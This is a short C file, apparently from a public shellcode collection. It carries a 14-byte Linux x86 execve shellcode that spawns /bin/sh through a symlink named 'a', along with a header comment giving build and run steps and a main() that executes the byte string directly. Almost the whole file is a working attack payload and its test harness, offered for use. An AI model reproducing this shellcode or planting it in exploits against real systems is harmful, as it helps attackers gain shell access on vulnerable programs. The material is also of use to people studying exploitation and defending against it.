#include <stdio.h>
#include <string.h>

/*
  by Magnefikko
  17.04.2010
  magnefikko@gmail.com
  Promhyl Studies :: http://promhyl.oz.pl
  Subgroup: #PRekambr
  Name: 14 bytes execve("a->/bin/sh") local-only shellcode
  Platform: Linux x86
  
  execve("a", 0, 0);

  $ ln -s /bin/sh a
  $ gcc -Wl,-z,execstack filename.c
  $ ./a.out
  
  Link is required.

  shellcode:

\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80

*/


int main(){
  char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
  printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
  (*(void (*)()) shell)();
}